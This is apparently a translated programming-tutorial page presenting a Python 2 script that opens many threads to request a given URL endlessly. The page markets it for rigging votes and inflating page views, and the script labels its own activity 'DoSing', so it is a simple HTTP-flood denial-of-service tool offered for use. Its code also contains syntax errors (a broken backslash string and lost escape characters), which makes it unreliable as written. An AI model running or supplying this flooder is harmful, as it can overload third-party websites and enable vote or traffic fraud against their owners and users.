Python USES a multi threaded method of constantly refreshing web pages

  • 2020-04-02 14:47:59
  • OfStack

This article illustrates python's method of constantly refreshing web pages with multiple threads. Share with you for your reference. The details are as follows:

This code can be opened through a thread to continuously refresh the specified page, can be used to brush tickets, increase page views, etc., do not have to press F5


import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('nProcess aborted.')
def splash():
  print 'welcome to //www.jb51.net/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('nProcess aborted.')

I hope this article has helped you with your Python programming.


Related articles: